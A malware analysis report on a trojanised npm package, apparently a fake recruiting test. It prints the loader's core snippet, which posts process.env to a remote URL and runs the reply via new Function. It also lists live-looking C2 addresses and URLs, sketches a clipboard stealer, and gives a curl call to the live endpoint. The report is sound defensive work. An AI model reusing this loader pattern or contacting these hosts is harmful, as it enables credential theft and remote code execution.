Preliminary Security Analysis

Fintrust-AI package and remote stage payload

Prepared for CTO-level due diligence | 2026-05-21 UTC

Executive conclusion: the package contains an install-time execution path, an obfuscated loader hidden under server/prisma/index.js, a Google Docs stage-1 pointer, exfiltration of process.env, and a remote JavaScript stage-2 payload. This is consistent with malicious loader behavior and should not be executed on a trusted workstation.

1. Scope and limitations

This is a preliminary static and controlled-analysis report prepared from the provided ZIP package and the captured remote stage-2 response. The conclusions are based on observable code structure, import paths, decoded strings, and controlled instrumentation output available at the time of review.

The analysis may not be complete. The remote payload may vary by time, requester IP, request body, headers, geolocation, or server-side conditions. A full malware reverse-engineering report would require deeper deobfuscation, sandbox telemetry, network capture, and endpoint containment review.

2. High-level process

The concerning execution chain appears to start during dependency installation, not during an intentional production run.

```
npm install
  -> package.json postinstall: npm run dev
    -> npm run dev:server
      -> cd server && npx prisma generate && tsx watch src/index.ts
        -> server/src/index.ts imports ./routes/loans.routes.js
          -> loans.routes.ts imports ../../prisma/index.js
            -> server/prisma/index.js executes obfuscated loader
              -> fetch Google Docs stage-1 text
                -> base64-decode C2 URL
                  -> POST process.env to Vercel endpoint
                    -> execute returned JavaScript as stage-2
```

3. Problematic files

File	Finding	Impact
package.json	Contains postinstall: npm run dev.	Installation can trigger code execution automatically.
server/src/routes/loans.routes.ts	Imports { vmO } from ../../prisma/index.js.	The loan route causes the obfuscated loader to be imported when the server loads routes.
server/prisma/index.js	Large obfuscated JavaScript placed in a Prisma directory.	Not normal Prisma code; appears to fetch stage-1 and execute

		remote stage-2.
/mnt/data/stage2-response.js	Captured remote JavaScript stage-2 response, approximately 3.39 MB.	Further obfuscated payload with file-system, process, network, clipboard, and command-execution capabilities.

4. Evidence in the local package

4.1 Install-time execution

The package declares the following script chain:

```
"scripts": {
  "dev": "concurrently "npm run dev:server" "npm run dev:frontend" ",
  "dev:server": "cd server && npx prisma generate && tsx watch src/index.ts",
  "postinstall": "npm run dev"
}
```

A postinstall hook that starts the development server is highly unusual for a repository shared for technical due diligence. It creates an implicit execution path during npm install.

4.2 Route-level import of the suspicious file

The suspicious code is imported from the loans route:

```
// server/src/routes/loans.routes.ts
import { vmO } from '../../prisma/index.js'

// later in the same file
const applyValidationCheck = vmO;
```

The same route file uses router.get/router.post but does not visibly declare const router = Router(). This suggests the obfuscated file may be tampering with globals or otherwise compensating for broken route code.

4.3 Obfuscated loader under server/prisma/index.js

The file begins with obfuscated imports and string tables, including axios, Express Router, authenticate middleware, and createRequire. It contains an encoded Google Docs URL and dynamic Function execution patterns.

```
import vmA from 'axios';
import { Router } from 'express';
import { authenticate } from '../src/middleware/auth.middleware.js';
import { createRequire } from 'module';
// ... large obfuscated body ...
// contains: docs.google.com/document/.../export?format=txt
// contains: Function, require, Buffer, base64, axios.post, process.env
```

5. Stage-1 behavior

The loader retrieves a text export from Google Docs. The recovered document URL is:

```
https://docs.google.com/document/d/1WtidFenuXcRukAbNCub6Pp1DOptnrjpx3MKYbRb3EkY/export?format=txt
```

The Google Doc content is expected to be base64. The user-provided base64 value decodes to:

```
aHR0cHM6Ly9jdXJyZW50LWxvY2F0aW9uLWNoZWNrLnZlcmNlbC5hcHAvYXBpL2lwLWNoZWNrLWVuY3J5cHRlZC8zYWViMzRhMzI
=

https://current-location-check.vercel.app/api/ip-check-encrypted/3aeb34a32
```

Despite the benign-sounding endpoint name, the observed loader behavior posts the entire Node process environment to this URL.

```
const targetUrl = Buffer.from(docBody, 'base64').toString();
await axios.post(
  targetUrl,
  process.env,
  { headers: { 'x-secret-header': 'secret' } }
);
```

The response from that POST is treated as executable JavaScript:

```
new Function('require', response.data)(require);
```

6. Stage-2 behavior

The captured stage-2 payload is a heavily obfuscated JavaScript file. Its full behavior has not been completely reversed, but recovered strings and controlled instrumentation indicate it is not a harmless IP-check script.

Observed or recovered capabilities include:

- Node module usage: os, fs, path, child_process, axios, crypto.
- Command execution primitives: execSync and spawn.
- File-system and home-directory awareness, including references to .ssh and id_rsa in decoded child payloads.
- Browser and wallet-oriented terms in decoded child payloads, including Chrome, Brave, Firefox, MetaMask, wallet, Login Data, and Local State.
- Clipboard monitoring logic using pbpaste on macOS, xclip/xsel on Linux, and PowerShell clipboard access on Windows/WSL.
- Network callbacks and upload/log endpoints at 144.172.94.202 on ports 8085, 8086, and 8087.
- Suppression or soft handling of uncaughtException and unhandledRejection, which is common in malware intended to continue running quietly.

Recovered network indicators from the stage-2/child payloads include:

```
http://144.172.94.202:8085
http://144.172.94.202:8085/upload
http://144.172.94.202:8085/api/upload-file
http://144.172.94.202:8086/upload
http://144.172.94.202:8087/api/log
http://144.172.94.202:8087/api/notify
```

One recovered clipboard watcher path resembles:

```
// simplified recovered behavior
```

```
if (platform === 'darwin') execSync('pbpaste')
if (platform === 'linux') execSync('xclip -selection clipboard -o') or execSync('xsel --clipboard
--output')
if (platform === 'win32' or WSL) use PowerShell/System.Windows.Forms.Clipboard

if clipboard content changes:
  send/log/upload the new content
```

7. Practical verification steps

These checks should be performed only in a disposable VM or container with no real secrets, no SSH agent, no cloud credentials, no wallet files, and no access to private workspaces.

7.1 Confirm package-level execution path

```
unzip -q Fintrust-AI-main.zip -d /tmp/fintrust-review
cd /tmp/fintrust-review/Fintrust-AI-main
jq '.scripts' package.json

grep -R "../../prisma/index.js\|postinstall\|new Function\|process.env\|docs.google.com" -n .
```

7.2 Decode stage-1 safely

```
printf '%s'
'aHR0cHM6Ly9jdXJyZW50LWxvY2F0aW9uLWNoZWNrLnZlcmNlbC5hcHAvYXBpL2lwLWNoZWNrLWVuY3J5cHRlZC8zYWViMzRhMz
I=' | base64 -d

# Expected output:
# https://current-location-check.vercel.app/api/ip-check-encrypted/3aeb34a32
```

7.3 Fetch stage-2 without sending secrets

Do not send the real process.env. Send only dummy data and save the response as text.

```
curl -sS -i   --connect-timeout 5   --max-time 10   -X POST   'https://current-location-
check.vercel.app/api/ip-check-encrypted/3aeb34a32'   -H 'content-type: application/json'   -H 'x-
secret-header: secret'   --data '{"TEST":"dummy","NO_REAL_SECRETS":"true"}'   -o /tmp/stage2-
response.js

file /tmp/stage2-response.js
head -c 1000 /tmp/stage2-response.js
```

7.4 First-pass deobfuscation

A quick first pass can be done with an online JavaScript deobfuscator such as https://jsontotable.org/javascript-deobfuscator. This is only a first step. The payload remains heavily obfuscated and appears to unpack or generate additional child scripts; it requires manual review, instrumentation, and sandbox tracing after initial formatting.

Offline/static alternatives should be preferred for sensitive work. Example first-pass local checks:

```
grep -aoE "https?://[^'" ]+|child_process|execSync|spawn|\.ssh|id_rsa|clipboard|xclip|xsel|pbpaste|
powershell|wallet|metamask|Login Data|Local State" stage2-response.js | sort -u

node --check stage2-response.js
```

```
# Do not run:
# node stage2-response.js
```

8. Risk assessment

Severity: Critical. The package combines automatic install-time execution, hidden obfuscated code, remote stage retrieval, environment-variable exfiltration, and remote code execution. This is consistent with malicious behavior rather than ordinary technical-test code.

Potentially exposed data includes environment variables, .env-derived secrets, database URLs, API keys, GitHub/npm/cloud tokens, SSH-related files or agent context, browser data, wallet-related files, clipboard contents, and local system metadata.

9. Recommended response

Do not run the package on a trusted workstation. If it has already been executed, treat the host as potentially compromised. Rotate exposed tokens and keys, review shell history and persistence locations, inspect outbound traffic, and consider rebuilding from a known-good baseline if high-value credentials were present.

A professional response to the recruiter/client can be:

```
I performed a preliminary static review of the package and found critical security issues. The
repository contains install-time execution through postinstall, an obfuscated JavaScript loader
hidden under server/prisma/index.js, a Google Docs stage-1 pointer, exfiltration of process.env,
and execution of a remote stage-2 payload. I cannot run or evaluate this package in its current
form. Please provide a clean, auditable repository without install-time execution, obfuscated
files, or remote payload loading, together with commit history and an explanation of the suspicious
files.
```

10. File hashes

```
Fintrust-AI-main.zip
SHA256: eac005510829099043d5e2cd90f4e611e8305d79731a1fdf822f87f22844c8f2

server/prisma/index.js
SHA256: 5118dc94da107eaa092cc018b240b444d6099728c8e57c7672f729ad62f15ea8

server/src/routes/loans.routes.ts
SHA256: 735f8ab2bce41e17e822b369e09162bf6272ec4dd76995357b1eb931c1f66d8c

stage2-response.js
SHA256: d17ff05fbd218d542cae5013c479b1ccddae54c3fadda958d14bc566194379ee
```

This document is a preliminary analysis, not a complete forensic report. The available evidence is

already sufficient to treat the package as unsafe to execute.

Tomek Grzechowski
CTO - Principal - Trasted Strategic Advisor
https://grzechowski.com
~
Observe and follow the true nature of things
+/-
For You, my rates are doubled <3 and I am sure this is low and humble